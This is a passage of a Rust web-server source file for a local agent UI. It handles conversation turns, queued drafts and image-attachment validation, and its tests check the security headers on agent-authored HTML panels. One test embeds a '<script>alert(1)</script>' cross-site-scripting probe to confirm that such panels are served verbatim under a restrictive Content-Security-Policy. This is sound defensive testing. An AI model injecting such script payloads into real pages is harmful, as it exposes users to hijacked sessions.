3360 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3361 if body.text.trim().is_empty() && body.attachments.is_empty() {
3362 return Err(ApiError::bad_request("say something"));
3363 }
3364
3365 let id = {
3366 let ui = Arc::clone(&ui);
3367 let asked = id.clone();
3368 blocking(move || resolve_talk(&ui.talks, &asked)).await?
3369 };
3370 {
3374 let ui = Arc::clone(&ui);
3375 let id = id.clone();
3376 blocking(move || {
3377 let talk = ui.talks.get(&id)?;
3378 if !talk.status.open() {
3379 return Err(ApiError::conflict(format!(
3380 "talk {} is {} and takes no more turns",
3381 talk.short(),
3382 talk.status.as_str()
3383 )));
3384 }
3385 Ok(())
3386 })
3387 .await?;
3388 }
3389
3390 let attachments = {
3395 let ui = Arc::clone(&ui);
3396 let id = id.clone();
3397 let ids = body.attachments.clone();
3398 blocking(move || {
3399 ids.into_iter()
3400 .map(|att_id| {
3401 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
3402 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
3403 })
3404 })
3405 .collect::<ApiResult<Vec<talk::Attachment>>>()
3406 })
3407 .await?
3408 };
3409
3410 let start = {
3415 let ui = Arc::clone(&ui);
3416 let id = id.clone();
3417 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
3418 };
3419 let turn_guard = match start {
3420 TalkTurnStart::Claimed(turn_guard) => turn_guard,
3421 TalkTurnStart::Pending => {
3422 return Err(ApiError::conflict(
3423 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
3424 ));
3425 }
3426 TalkTurnStart::Busy => {
3427 let (tx, rx) = tokio::sync::oneshot::channel();
3443 tokio::spawn({
3444 let ui = Arc::clone(&ui);
3445 let id = id.clone();
3446 let said = body.text.clone();
3447 async move {
3448 let written = blocking({
3449 let ui = Arc::clone(&ui);
3450 let id = id.clone();
3451 move || {
3452 let mut talk = ui.talks.get(&id)?;
3453 if let Err(error) =
3454 talk::queue(&mut talk, &ui.talks, &said, attachments)
3455 {
3456 if let Ok(fresh) = ui.talks.get(&id) {
3457 if !fresh.status.open() {
3458 return Err(ApiError::conflict(format!(
3459 "talk {} is {} and takes no more turns",
3460 fresh.short(),
3461 fresh.status.as_str()
3462 )));
3463 }
3464 }
3465 return Err(ApiError::from(error));
3466 }
3467 let claim = match ui.begin_queued_talk_turn(&id)? {
3478 Some(turn_guard) => {
3479 let (cfg, _) = Config::discover(&talk.repo, None)?;
3480 Some((talk.clone(), cfg, turn_guard))
3481 }
3482 None => None,
3483 };
3484 let thinking = ui.is_thinking(&id);
3485 Ok((TalkView::new(talk, thinking), claim))
3486 }
3487 })
3488 .await;
3489 let (view, reclaimed) = match written {
3490 Ok(pair) => pair,
3491 Err(e) => {
3492 let _ = tx.send(Err(e));
3497 return;
3498 }
3499 };
3500 let _ = tx.send(Ok(view));
3503 if let Some((talk, cfg, turn_guard)) = reclaimed {
3504 let talks = ui.talks.clone();
3505 drain_loop(talk, talks, cfg, id, turn_guard).await;
3506 }
3507 }
3508 });
3509 let view = rx
3510 .await
3511 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
3512 return Ok((StatusCode::ACCEPTED, Json(view)));
3513 }
3514 };
3515
3516 let (talk, cfg) = {
3517 let ui = Arc::clone(&ui);
3518 let id = id.clone();
3519 blocking(move || {
3520 let talk = ui.talks.get(&id)?;
3521 let (cfg, _) = Config::discover(&talk.repo, None)?;
3522 Ok((talk, cfg))
3523 })
3524 .await?
3525 };
3526
3527 let talks = ui.talks.clone();
3528 let (tx, rx) = tokio::sync::oneshot::channel();
3543 tokio::spawn({
3544 let ui = Arc::clone(&ui);
3545 let talks = talks.clone();
3546 let id = id.clone();
3547 let said = body.text.clone();
3548 let mut talk = talk.clone();
3549 async move {
3550 let recorded = blocking({
3551 let talks = talks.clone();
3552 move || {
3553 if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
3554 if let Ok(fresh) = talks.get(&talk.id) {
3555 if !fresh.status.open() {
3556 return Err(ApiError::conflict(format!(
3557 "talk {} is {} and takes no more turns",
3558 fresh.short(),
3559 fresh.status.as_str()
3560 )));
3561 }
3562 }
3563 return Err(ApiError::from(error));
3564 }
3565 Ok((said.trim().to_owned(), talk))
3571 }
3572 })
3573 .await;
3574 let (text, mut talk) = match recorded {
3575 Ok(pair) => pair,
3576 Err(e) => {
3577 let _ = tx.send(Err(e));
3581 return;
3582 }
3583 };
3584 let queued = talk.clone();
3585 let thinking = ui.is_thinking(&id);
3586 let _ = tx.send(Ok((queued, thinking)));
3589
3590 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &text).await {
3591 tracing::warn!("talk {id} turn failed: {e:#}");
3595 }
3596 drain_loop(talk, talks, cfg, id, turn_guard).await;
3599 }
3600 });
3601
3602 let (queued, thinking) = rx
3603 .await
3604 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
3605
3606 Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
3608}
3609
3610async fn talk_pending_resume(
3614 State(ui): State<Arc<Ui>>,
3615 Path(id): Path<String>,
3616) -> ApiResult<(StatusCode, Json<TalkView>)> {
3617 let id = {
3618 let ui = Arc::clone(&ui);
3619 let asked = id.clone();
3620 blocking(move || resolve_talk(&ui.talks, &asked)).await?
3621 };
3622 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
3623 return Err(ApiError::conflict(
3624 "a talk turn is already running; the queued draft will be handled by it",
3625 ));
3626 };
3627 let (talk, cfg) = {
3628 let ui = Arc::clone(&ui);
3629 let id = id.clone();
3630 blocking(move || {
3631 let talk = ui.talks.get(&id)?;
3632 if !talk.status.open() {
3633 return Err(ApiError::conflict(format!(
3634 "talk {} is {} and takes no more turns",
3635 talk.short(),
3636 talk.status.as_str()
3637 )));
3638 }
3639 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
3640 return Err(ApiError::conflict("there is no queued draft to resume"));
3641 }
3642 let (cfg, _) = Config::discover(&talk.repo, None)?;
3643 Ok((talk, cfg))
3644 })
3645 .await?
3646 };
3647 let view = TalkView::new(talk.clone(), true);
3648 let talks = ui.talks.clone();
3649 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
3650 Ok((StatusCode::ACCEPTED, Json(view)))
3651}
3652
3653async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
3669 let live_set = Arc::clone(&turn.turns);
3670 let mut turn = Some(turn);
3678 loop {
3679 let observed = live_set
3683 .lock()
3684 .unwrap_or_else(PoisonError::into_inner)
3685 .queued
3686 .get(&id)
3687 .copied()
3688 .unwrap_or(0);
3689 let drained = blocking({
3690 let talks = talks.clone();
3691 move || {
3692 let result = talk::drain(&mut talk, &talks);
3693 Ok((talk, result))
3694 }
3695 })
3696 .await;
3697 let (next_talk, result) = match drained {
3698 Ok(drained) => drained,
3699 Err(e) => {
3700 tracing::warn!(
3701 status = %e.status,
3702 message = %e.message,
3703 "talk {id} could not start queued-text drain"
3704 );
3705 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
3706 turn.take()
3707 .expect("held for the whole loop until released here")
3708 .release(&mut live);
3709 break;
3710 }
3711 };
3712 talk = next_talk;
3713 let drained = match result {
3714 Ok(Some(drained)) => drained,
3715 Ok(None) => {
3716 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
3717 if live.queued.get(&id).copied().unwrap_or(0) != observed {
3718 continue;
3719 }
3720 turn.take()
3721 .expect("held for the whole loop until released here")
3722 .release(&mut live);
3723 break;
3724 }
3725 Err(e) => {
3726 tracing::warn!("talk {id} could not drain queued text: {e:#}");
3727 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
3728 turn.take()
3729 .expect("held for the whole loop until released here")
3730 .release(&mut live);
3731 break;
3732 }
3733 };
3734 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &drained).await {
3735 tracing::warn!("talk {id} turn failed: {e:#}");
3736 }
3737 }
3738}
3739
3740async fn talk_pending_clear(
3742 State(ui): State<Arc<Ui>>,
3743 Path(id): Path<String>,
3744 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
3745) -> ApiResult<Json<TalkView>> {
3746 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3747 blocking(move || {
3748 let id = resolve_talk(&ui.talks, &id)?;
3749 let mut talk = ui.talks.get(&id)?;
3750 if !talk.status.open() {
3751 return Err(ApiError::conflict(format!(
3752 "talk {} is {} and takes no more turns",
3753 talk.short(),
3754 talk.status.as_str()
3755 )));
3756 }
3757 if !talk::clear_pending_if_matches(
3758 &mut talk,
3759 &ui.talks,
3760 &body.expected_text,
3761 &body.expected_attachments,
3762 )? {
3763 return Err(ApiError::conflict(
3764 "queued message changed; reload it before clearing",
3765 ));
3766 }
3767 let thinking = ui.is_thinking(&talk.id);
3768 Ok(Json(TalkView::new(talk, thinking)))
3769 })
3770 .await
3771}
3772
3773async fn talk_pending_edit(
3777 State(ui): State<Arc<Ui>>,
3778 Path(id): Path<String>,
3779 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
3780) -> ApiResult<Json<TalkView>> {
3781 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3782 let (view, reclaimed) = blocking({
3783 let ui = Arc::clone(&ui);
3784 move || {
3785 let id = resolve_talk(&ui.talks, &id)?;
3786 let mut talk = ui.talks.get(&id)?;
3787 if !talk.status.open() {
3788 return Err(ApiError::conflict(format!(
3789 "talk {} is {} and takes no more turns",
3790 talk.short(),
3791 talk.status.as_str()
3792 )));
3793 }
3794 if !talk::edit_pending_text(
3795 &mut talk,
3796 &ui.talks,
3797 &body.text,
3798 &body.expected_text,
3799 &body.expected_attachments,
3800 )? {
3801 return Err(ApiError::conflict(
3802 "queued message changed; reload it before editing",
3803 ));
3804 }
3805 let claim = match ui.begin_queued_talk_turn(&id)? {
3806 Some(turn_guard) => {
3807 let (cfg, _) = Config::discover(&talk.repo, None)?;
3808 Some((talk.clone(), cfg, id.clone(), turn_guard))
3809 }
3810 None => None,
3811 };
3812 let thinking = ui.is_thinking(&id);
3813 Ok((TalkView::new(talk, thinking), claim))
3814 }
3815 })
3816 .await?;
3817 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
3818 let talks = ui.talks.clone();
3819 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
3820 }
3821 Ok(Json(view))
3822}
3823
3824async fn talk_close(
3826 State(ui): State<Arc<Ui>>,
3827 Path(id): Path<String>,
3828) -> ApiResult<Json<TalkView>> {
3829 blocking(move || {
3830 let id = resolve_talk(&ui.talks, &id)?;
3831 let mut talk = ui.talks.get(&id)?;
3832 talk::close(&mut talk, &ui.talks)?;
3833 let thinking = ui.is_thinking(&talk.id);
3834 Ok(Json(TalkView::new(talk, thinking)))
3835 })
3836 .await
3837}
3838
3839async fn talk_reopen(
3841 State(ui): State<Arc<Ui>>,
3842 Path(id): Path<String>,
3843) -> ApiResult<Json<TalkView>> {
3844 blocking(move || {
3845 let id = resolve_talk(&ui.talks, &id)?;
3846 let mut talk = ui.talks.get(&id)?;
3847 talk::reopen(&mut talk, &ui.talks)?;
3848 let thinking = ui.is_thinking(&talk.id);
3849 Ok(Json(TalkView::new(talk, thinking)))
3850 })
3851 .await
3852}
3853
3854async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
3864 blocking(move || {
3865 let id = resolve_talk(&ui.talks, &id)?;
3866 ui.talks.remove(&id)?;
3867 Ok(StatusCode::NO_CONTENT)
3868 })
3869 .await
3870}
3871
3872fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
3874 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
3875}
3876
3877async fn talk_attachment_post(
3880 State(ui): State<Arc<Ui>>,
3881 Path(id): Path<String>,
3882 headers: HeaderMap,
3883 body: Bytes,
3884) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
3885 let mime = validate_attachment(&headers, &body)?;
3886 let name = filename_header(&headers);
3887 let data = body.to_vec();
3888 blocking(move || {
3889 let id = resolve_talk(&ui.talks, &id)?;
3890 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
3891 Ok((StatusCode::CREATED, Json(att)))
3892 })
3893 .await
3894}
3895
3896async fn talk_attachment_get(
3899 State(ui): State<Arc<Ui>>,
3900 Path((id, att)): Path<(String, String)>,
3901) -> ApiResult<Response> {
3902 blocking(move || {
3903 let id = resolve_talk(&ui.talks, &id)?;
3904 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
3905 return Err(ApiError::not_found(format!(
3906 "talk {id} has no attachment `{att}`"
3907 )));
3908 };
3909 Ok(attachment_response(&meta.mime, data))
3910 })
3911 .await
3912}
3913
3914fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
3925 if data.len() > ATTACHMENT_MAX_BYTES {
3926 return Err(ApiError::bad_request(format!(
3927 "attachment is {} bytes, over the {} MiB limit",
3928 data.len(),
3929 ATTACHMENT_MAX_BYTES / (1024 * 1024)
3930 ))
3931 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
3932 }
3933 if data.is_empty() {
3934 return Err(ApiError::bad_request("attachment is empty"));
3935 }
3936 let declared = declared_mime(headers)?;
3937 match sniffed_mime(data) {
3938 Some(sniffed) if sniffed == declared => Ok(declared),
3939 Some(sniffed) => Err(ApiError::bad_request(format!(
3940 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
3941 ))),
3942 None => Err(ApiError::bad_request(
3943 "the file's bytes do not match any accepted image format",
3944 )),
3945 }
3946}
3947
3948fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
3952 let raw = headers
3953 .get(header::CONTENT_TYPE)
3954 .and_then(|v| v.to_str().ok())
3955 .unwrap_or("")
3956 .split(';')
3957 .next()
3958 .unwrap_or("")
3959 .trim()
3960 .to_ascii_lowercase();
3961 ATTACHMENT_MIME_WHITELIST
3962 .iter()
3963 .find(|&&m| m == raw)
3964 .copied()
3965 .ok_or_else(|| {
3966 if raw == "image/svg+xml" {
3967 ApiError::bad_request(
3968 "SVG is not accepted: it can carry active content (e.g. a <script>), \
3969 not just a picture",
3970 )
3971 } else if raw.is_empty() {
3972 ApiError::bad_request("Content-Type is required for an attachment upload")
3973 } else {
3974 ApiError::bad_request(format!(
3975 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
3976 image/gif or image/webp"
3977 ))
3978 }
3979 })
3980}
3981
3982fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
3985 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
3986 Some("image/png")
3987 } else if data.starts_with(b"\xff\xd8\xff") {
3988 Some("image/jpeg")
3989 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
3990 Some("image/gif")
3991 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
3992 Some("image/webp")
3993 } else {
3994 None
3995 }
3996}
3997
3998fn filename_header(headers: &HeaderMap) -> String {
4004 headers
4005 .get(FILENAME_HEADER)
4006 .and_then(|v| v.to_str().ok())
4007 .map(str::trim)
4008 .filter(|s| !s.is_empty())
4009 .unwrap_or("attachment")
4010 .to_owned()
4011}
4012
4013fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
4020 let content_type = ATTACHMENT_MIME_WHITELIST
4021 .iter()
4022 .find(|&&m| m == mime)
4023 .copied()
4024 .unwrap_or("application/octet-stream");
4025 (
4026 [
4027 (header::CONTENT_TYPE, content_type),
4028 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4029 ],
4030 body,
4031 )
4032 .into_response()
4033}
4034
4035async fn config_for(repo: &FsPath) -> ApiResult<Config> {
4043 let repo = repo.to_path_buf();
4044 blocking(move || {
4045 let (cfg, _) = Config::discover(&repo, None)?;
4046 Ok(cfg)
4047 })
4048 .await
4049}
4050
4051fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
4057 let mut hits = ids
4058 .into_iter()
4059 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
4060 match (hits.next(), hits.next()) {
4061 (Some(one), None) => Ok(one),
4062 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
4063 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
4064 "`{prefix}` matches more than one {what}, including {a} and {b}"
4065 ))),
4066 }
4067}
4068
4069#[cfg(test)]
4070mod tests {
4071 use pretty_assertions::assert_eq;
4072 use serde_json::Value;
4073 use tempfile::TempDir;
4074 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
4075
4076 use super::*;
4077 use crate::config::Config;
4078 use crate::queue::{Source, TaskStatus};
4079
4080 struct Fixture {
4086 home: TempDir,
4087 addr: SocketAddr,
4088 }
4089
4090 impl Fixture {
4091 async fn start() -> Self {
4092 Self::with_loop(launch_idle).await
4093 }
4094
4095 async fn with_loop(launch: Launch) -> Self {
4097 let home = TempDir::new().expect("temp home");
4098 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch).await;
4099 Self { home, addr }
4100 }
4101
4102 async fn with_repo(repo: PathBuf) -> Self {
4106 let home = TempDir::new().expect("temp home");
4107 let addr = Self::serve(home.path(), repo, launch_idle).await;
4108 Self { home, addr }
4109 }
4110
4111 async fn serve(home: &FsPath, repo: PathBuf, launch: Launch) -> SocketAddr {
4112 let queue = Queue::at(home.join("queue"));
4113 let runs = home.join("runs");
4114 std::fs::create_dir_all(&runs).expect("runs dir");
4115 let worktrees = home.join("wt").join("magi");
4116 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
4117 let ui = Ui::new(
4118 queue,
4119 Questions::at(home.join("questions")),
4120 Talks::at(home.join("talks")),
4121 runs,
4122 home.to_path_buf(),
4123 repo,
4124 )
4125 .with_worktrees_root(worktrees)
4126 .with_launch(launch);
4127 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
4128 .await
4129 .expect("bind loopback");
4130 let addr = listener.local_addr().expect("local addr");
4131 tokio::spawn(async move {
4132 let _ = axum::serve(listener, ui.router()).await;
4133 });
4134 addr
4135 }
4136
4137 fn queue(&self) -> Queue {
4138 Queue::at(self.home.path().join("queue"))
4139 }
4140
4141 fn questions(&self) -> Questions {
4142 Questions::at(self.home.path().join("questions"))
4143 }
4144
4145 fn talks(&self) -> Talks {
4146 Talks::at(self.home.path().join("talks"))
4147 }
4148
4149 fn runs(&self) -> PathBuf {
4150 self.home.path().join("runs")
4151 }
4152
4153 async fn get(&self, path: &str) -> Res {
4154 request(self.addr, "GET", path, None).await
4155 }
4156
4157 async fn head(&self, path: &str) -> Res {
4162 request(self.addr, "HEAD", path, None).await
4163 }
4164
4165 async fn post(&self, path: &str, body: Option<&str>) -> Res {
4166 request(self.addr, "POST", path, body).await
4167 }
4168
4169 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
4170 request_with(self.addr, "GET", path, None, extra).await
4171 }
4172
4173 async fn delete(&self, path: &str) -> Res {
4174 request(self.addr, "DELETE", path, None).await
4175 }
4176
4177 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
4179 request_bytes(self.addr, path, headers, body).await
4180 }
4181 }
4182
4183 struct Res {
4184 status: u16,
4185 headers: String,
4186 head: String,
4191 body: String,
4192 bytes: Vec<u8>,
4196 }
4197
4198 impl Res {
4199 fn json(&self) -> Value {
4200 serde_json::from_str(&self.body)
4201 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
4202 }
4203
4204 fn header(&self, name: &str) -> Option<&str> {
4206 self.head.lines().find_map(|line| {
4207 let (key, value) = line.split_once(':')?;
4208 key.trim()
4209 .eq_ignore_ascii_case(name)
4210 .then(|| value.trim_start().trim_end_matches('\r'))
4211 })
4212 }
4213 }
4214
4215 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
4218 request_with(addr, method, path, body, &[]).await
4219 }
4220
4221 async fn request_with(
4225 addr: SocketAddr,
4226 method: &str,
4227 path: &str,
4228 body: Option<&str>,
4229 extra: &[(&str, &str)],
4230 ) -> Res {
4231 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
4232 for (name, value) in extra {
4233 head.push_str(&format!("{name}: {value}\r\n"));
4234 }
4235 if let Some(body) = body {
4236 head.push_str("Content-Type: application/json\r\n");
4237 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
4238 }
4239 head.push_str("\r\n");
4240 if let Some(body) = body {
4241 head.push_str(body);
4242 }
4243 let mut socket = tokio::net::TcpStream::connect(addr)
4244 .await
4245 .expect("connect to the test server");
4246 socket
4247 .write_all(head.as_bytes())
4248 .await
4249 .expect("write request");
4250 let mut raw = Vec::new();
4251 socket.read_to_end(&mut raw).await.expect("read response");
4252 let split = raw
4255 .windows(4)
4256 .position(|w| w == b"\r\n\r\n")
4257 .expect("a header block");
4258 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
4259 let bytes = raw[split + 4..].to_vec();
4260 let status = head
4261 .lines()
4262 .next()
4263 .and_then(|line| line.split_whitespace().nth(1))
4264 .and_then(|code| code.parse().ok())
4265 .expect("a status line");
4266 Res {
4267 status,
4268 headers: head.to_lowercase(),
4269 head,
4270 body: String::from_utf8_lossy(&bytes).into_owned(),
4271 bytes,
4272 }
4273 }
4274
4275 async fn request_bytes(
4281 addr: SocketAddr,
4282 path: &str,
4283 headers: &[(&str, &str)],
4284 body: &[u8],
4285 ) -> Res {
4286 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
4287 for (name, value) in headers {
4288 head.push_str(&format!("{name}: {value}\r\n"));
4289 }
4290 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
4291 let mut socket = tokio::net::TcpStream::connect(addr)
4292 .await
4293 .expect("connect to the test server");
4294 socket
4295 .write_all(head.as_bytes())
4296 .await
4297 .expect("write request head");
4298 socket.write_all(body).await.expect("write request body");
4299 let mut raw = Vec::new();
4300 socket.read_to_end(&mut raw).await.expect("read response");
4301 let split = raw
4302 .windows(4)
4303 .position(|w| w == b"\r\n\r\n")
4304 .expect("a header block");
4305 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
4306 let bytes = raw[split + 4..].to_vec();
4307 let status = head
4308 .lines()
4309 .next()
4310 .and_then(|line| line.split_whitespace().nth(1))
4311 .and_then(|code| code.parse().ok())
4312 .expect("a status line");
4313 Res {
4314 status,
4315 headers: head.to_lowercase(),
4316 head,
4317 body: String::from_utf8_lossy(&bytes).into_owned(),
4318 bytes,
4319 }
4320 }
4321
4322 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
4324 let mut state = RunState::new(
4325 PathBuf::from("/repo/magi"),
4326 "main".to_owned(),
4327 "0123456789abcdef".to_owned(),
4328 "Add a web UI\n\nMobile first.".to_owned(),
4329 Config::default(),
4330 );
4331 state.id = id.to_owned();
4332 state.status = status;
4333 let dir = runs.join(id);
4334 std::fs::create_dir_all(&dir).expect("run dir");
4335 std::fs::write(
4336 dir.join("run.json"),
4337 serde_json::to_string_pretty(&state).expect("serialize run"),
4338 )
4339 .expect("write run.json");
4340 }
4341
4342 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
4343 let body = serde_json::json!({
4344 "schema": 1,
4345 "pid": 4242,
4346 "started_at": Timestamp::now().to_string(),
4347 "updated_at": updated_at.to_string(),
4348 "idle": false,
4349 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
4350 "completed": 7,
4351 "polls": 143,
4352 });
4353 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
4354 }
4355
4356 fn launch_idle(
4366 _opts: daemon::Opts,
4367 stop: daemon::Stop,
4368 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
4369 Box::pin(async move {
4370 while !stop.stopped() {
4371 tokio::time::sleep(Duration::from_millis(2)).await;
4372 }
4373 Ok(())
4374 })
4375 }
4376
4377 fn launch_broken(
4380 _opts: daemon::Opts,
4381 _stop: daemon::Stop,
4382 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
4383 Box::pin(async {
4384 Err(anyhow::anyhow!(
4385 "publish the daemon status file: read-only file system"
4386 ))
4387 })
4388 }
4389
4390 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
4397 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
4398
4399 fn launch_knocking_on_the_way_out(
4406 _opts: daemon::Opts,
4407 stop: daemon::Stop,
4408 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
4409 Box::pin(async move {
4410 while !stop.stopped() {
4411 tokio::time::sleep(Duration::from_millis(2)).await;
4412 }
4413 let addr = PARK_KNOCK
4414 .lock()
4415 .expect("park knock")
4416 .expect("the test set an address");
4417 let heard = request(addr, "GET", "/api/health", None).await.status;
4418 *PARK_HEARD.lock().expect("park heard") = Some(heard);
4419 Ok(())
4420 })
4421 }
4422
4423 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
4431 for _ in 0..200 {
4432 let view = fx.get("/api/loop").await.json();
4433 if want(&view) {
4434 return view;
4435 }
4436 tokio::time::sleep(Duration::from_millis(10)).await;
4437 }
4438 panic!(
4439 "the loop never settled: {}",
4440 fx.get("/api/loop").await.json()
4441 );
4442 }
4443
4444 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
4446 let store = fx.questions();
4447 let mut q = Question::new(
4448 "20260902-000000-beef".to_owned(),
4449 "implement".to_owned(),
4450 "impl-A".to_owned(),
4451 summary.to_owned(),
4452 "because it matters".to_owned(),
4453 choices.iter().map(|c| (*c).to_owned()).collect(),
4454 );
4455 store.put(&mut q).expect("put question");
4456 q.id
4457 }
4458
4459 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
4465 let store = fx.questions();
4466 let mut q = Question::new(
4467 "20260902-000000-beef".to_owned(),
4468 "land".to_owned(),
4469 "fix".to_owned(),
4470 "Merge this?".to_owned(),
4471 "the diff is in the panel".to_owned(),
4472 vec!["merge".to_owned(), "hold".to_owned()],
4473 );
4474 let staging = fx.home.path().join("staging");
4477 std::fs::create_dir_all(&staging).expect("staging dir");
4478 let sources: Vec<PathBuf> = assets
4479 .iter()
4480 .map(|(name, bytes)| {
4481 let path = staging.join(name);
4482 std::fs::write(&path, bytes).expect("write staged asset");
4483 path
4484 })
4485 .collect();
4486 store
4487 .put_panel(&mut q, html, &sources)
4488 .expect("write the panel");
4489 store.put(&mut q).expect("put question");
4490 q.id
4491 }
4492
4493 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
4502 let store = fx.talks();
4503 std::fs::create_dir_all(store.root()).expect("talks dir");
4504 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
4505 .expect("serialize a seat");
4506 let body = serde_json::json!({
4507 "schema": 1,
4508 "id": id,
4509 "repo": "/repo/magi",
4510 "agent": "mock",
4511 "status": status,
4512 "turns": [],
4513 "created_at": Timestamp::now().to_string(),
4514 "updated_at": Timestamp::now().to_string(),
4515 "seat": seat,
4516 });
4517 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
4518 store.get(id).expect("the seeded talk has to be readable");
4519 id.to_owned()
4520 }
4521
4522 #[tokio::test]
4523 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
4524 let fx = Fixture::start().await;
4525 let id = panel(
4526 &fx,
4527 "<h1>Merge?</h1><img src=\"diff.svg\">",
4528 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
4529 );
4530
4531 for path in [
4532 format!("/api/questions/{id}/panel"),
4533 format!("/api/questions/{id}/asset/diff.svg"),
4534 ] {
4535 let res = fx.get(&path).await;
4536 assert_eq!(res.status, 200, "{path}: {}", res.body);
4537 assert_eq!(
4543 res.header("content-security-policy"),
4544 Some(
4545 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
4546 font-src data:; base-uri 'none'; form-action 'none'; \
4547 frame-ancestors 'self'"
4548 ),
4549 "{path} is the only thing between a hostile panel and the tailnet"
4550 );
4551 assert_eq!(
4552 res.header("x-content-type-options"),
4553 Some("nosniff"),
4554 "{path}: a browser must not re-decide the type we sent"
4555 );
4556 assert_eq!(
4557 res.header("referrer-policy"),
4558 Some("no-referrer"),
4559 "{path}: a panel must not leak the question id off the machine"
4560 );
4561
4562 let pre = fx.head(&path).await;
4567 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
4568 assert_eq!(
4569 pre.header("content-security-policy"),
4570 res.header("content-security-policy"),
4571 "{path}: the preflight carries the same policy"
4572 );
4573 assert_eq!(
4574 pre.header("content-type"),
4575 res.header("content-type"),
4576 "{path}: the preflight carries the same type"
4577 );
4578 }
4579 }
4580
4581 #[tokio::test]
4582 async fn a_panel_reaches_the_browser_byte_for_byte() {
4583 let fx = Fixture::start().await;
4584 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
4589 let id = panel(&fx, html, &[]);
4590
4591 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
4592
4593 assert_eq!(res.status, 200);
4594 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
4595 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
4596 assert_eq!(
4597 res.header("content-disposition"),
4598 None,
4599 "the panel itself is rendered in the frame, not downloaded"
4600 );
4601 }
4602
4603 #[tokio::test]
4604 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
4605 let fx = Fixture::start().await;
